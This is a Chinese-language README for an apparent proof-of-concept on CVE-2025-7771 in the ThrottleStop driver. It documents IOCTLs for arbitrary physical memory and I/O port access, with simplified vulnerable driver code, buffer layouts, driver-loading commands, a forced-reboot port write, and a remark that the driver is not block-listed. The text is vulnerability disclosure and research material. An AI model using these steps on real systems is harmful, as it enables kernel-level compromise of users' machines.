CVE-2025-7771:通过 ThrottleStop 驱动实现任意物理内存和 I/O 端口读写
ThrottleStop 是一个用于监控和纠正 CPU 降频的小型合法应用程序。它有一个驱动程序来协助完成这些任务,而且它基本上没有任何形式的输入验证。
| IOCTL | 漏洞 |
|---|---|
| 0x80006498 | 任意内存读取 |
| 0x8000649C | 任意内存写入 |
| 0x80006430 | 任意端口读取 |
| 0x80006434 | 任意端口写入 |
似乎还存在任意 MSR 读写,但我没能让它们正常工作。
你可以自行研究。
读取 MSR 位于 0x80006448,写入位于 0x8000644C。
如果你能让它正常工作,请提交一个 issue 描述操作步骤。
下面提到的所有 IOCTL 调用都在 Exploit.c 文件中实现。
0x80006498 IOCTL 使用 MmMapIoSpace 将任何提供的物理地址映射到内核空间,并从中读取 1、2、4 或 8 个字节。然后数据被复制回用户空间。
要触发此 IOCTL,使用 DeviceIoControl,以物理地址作为输入,输出缓冲区大小作为读取大小(1、2、4 或 8)。
驱动中此 IOCTL 的简化代码:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
与读取类似,0x8000649C IOCTL 使用 MmMapIoSpace 将提供的物理地址映射到内核空间,并从中读取 1、2、4 或 8 个字节。
要触发此 IOCTL,使用 DeviceIoControl,输入缓冲区布局如下:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
输入缓冲区大小将为 8 +(1、2、4 或 8),具体取决于写入大小。
输出缓冲区和输出缓冲区大小未使用。
驱动中此 IOCTL 的简化代码:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
0x80006430 IOCTL 允许用户指定一个 IO 端口,并使用 __inbyte、__inword 或 __indword 直接从中读取。
输入缓冲区是一个 USHORT,输入缓冲区大小应为 sizeof(USHORT)。
输出缓冲区将保存结果(根据请求的大小为 1、2 或 4 字节),输出大小可以为 1、2 或 4。
驱动中此 IOCTL 的简化代码:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
与端口读取类似,0x80006434 IOCTL 允许用户指定一个 IO 端口,并使用 __outbyte、__outword 或 __outdword 向其中写入任意值。
输入缓冲区布局为:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
输入缓冲区大小应为 sizeof(USHORT) + sizeof(Value)(+ 填充)。 输出缓冲区及其大小未使用。
驱动中此 IOCTL 的简化代码:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
这种转换可以通过滥用 Superfetch 来实现,Superfetch 是一个合法的内核模块,它使用未公开的 API 暴露虚拟地址到物理地址的转换。 其代码实现在 vtop.c 中
此项目可以使用 Meson 编译。它通过使用 PsInitialSystemProcess 解析 System 进程的 EPROCESS 结构来读取 UniqueProcessId 字段,并检查它是否为 4(实现在 Main.c 中,用于查找特定 PID 的 EPROCESS 的函数实现在 EProcess.c 中)。此外,它会询问用户是否想要强制重启系统。这可以通过向端口 0xCF9 写入 0x0E 值来实现。
警告:所有内容均在 Windows 11 build 24H2 上测试。EPROCESS 结构中的偏移量在你的系统上可能会有所不同。
通过以下命令构建项目
meson setup build
它将创建 build 目录。现在使用以下命令编译项目
meson compile -C build
驱动程序位于仓库的 Drivers 目录中。ThrottleStop 驱动可以通过 Resource Hacker 直接从 ThrottleStop.exe 程序中提取。你会找到 2 个驱动——x64 和 x86。DriverObject->MajorFunction[14] 保存了所有 IOCTL 都已实现的调度函数。
使用以下命令创建并启动驱动:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
此驱动尚未被添加到 Microsoft 驱动阻止列表或 loldrivers 中。